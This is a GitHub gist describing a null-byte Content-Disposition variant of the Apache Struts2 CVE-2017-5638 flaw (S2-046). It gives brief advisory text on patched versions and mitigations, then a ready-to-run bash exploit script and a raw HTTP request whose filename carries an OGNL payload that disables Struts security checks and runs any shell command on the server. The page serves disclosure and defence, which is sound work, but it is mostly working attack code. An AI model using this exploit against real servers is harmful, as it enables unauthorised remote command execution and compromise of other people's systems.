Instantly share code, notes, and snippets.

@frohoff /README.md Secret
Last active Dec 17, 2018

Embed
What would you like to do?
Struts2 Content-Disposition filename null-byte variant of CVE-2017-5638

Struts2 Content-Disposition filename null-byte variant of CVE-2017-5638

Struts2 Security Bulletin S2-046

A null byte (\x00) in a request’s Content-Disposition header filename field can trigger a InvalidFileNameException with the same (client controlled) filename string in the exception message that be used can trigger OGNL evaluation during error handling. Note that this is similar to but distinct from both the original Content-Type vector reported in S2-045 and the Content-Length/Content-Disposition variant also mentioned in S2-046.

All the above variants are already fixed by the patches in Struts2 versions 2.3.32 and 2.5.10.1, and projects may alternatively use struts-extras to do mitigation in-place without upgrading, but note that previous Content-Type-focused WAF/LB countermeasures may not protect against these alternative vectors.

sh exploit-cd.sh [url] [command] [[add'l curl args]]

#!/bin/bash
url=$1
cmd=$2
shift
shift
boundary="---------------------------735323031399963166993862150"
content_type="multipart/form-data; boundary=$boundary"
payload=$(echo "%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='"$cmd"').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}")
printf -- "--$boundary\r\nContent-Disposition: form-data; name=\"foo\"; filename=\"%s\0b\"\r\nContent-Type: text/plain\r\n\r\nx\r\n--$boundary--\r\n\r\n" "$payload" | curl "$url" -H "Content-Type: $content_type" -H "Expect: " -H "Connection: close" --data-binary @- $@
POST / HTTP/1.1
Host: localhost:8080
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------735323031399963166993862150
Content-Length: 5000
-----------------------------735323031399963166993862150
Content-Disposition: form-data; name="foo"; filename="%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='hostname').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}b"
Content-Type: text/plain
x
-----------------------------735323031399963166993862150--
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment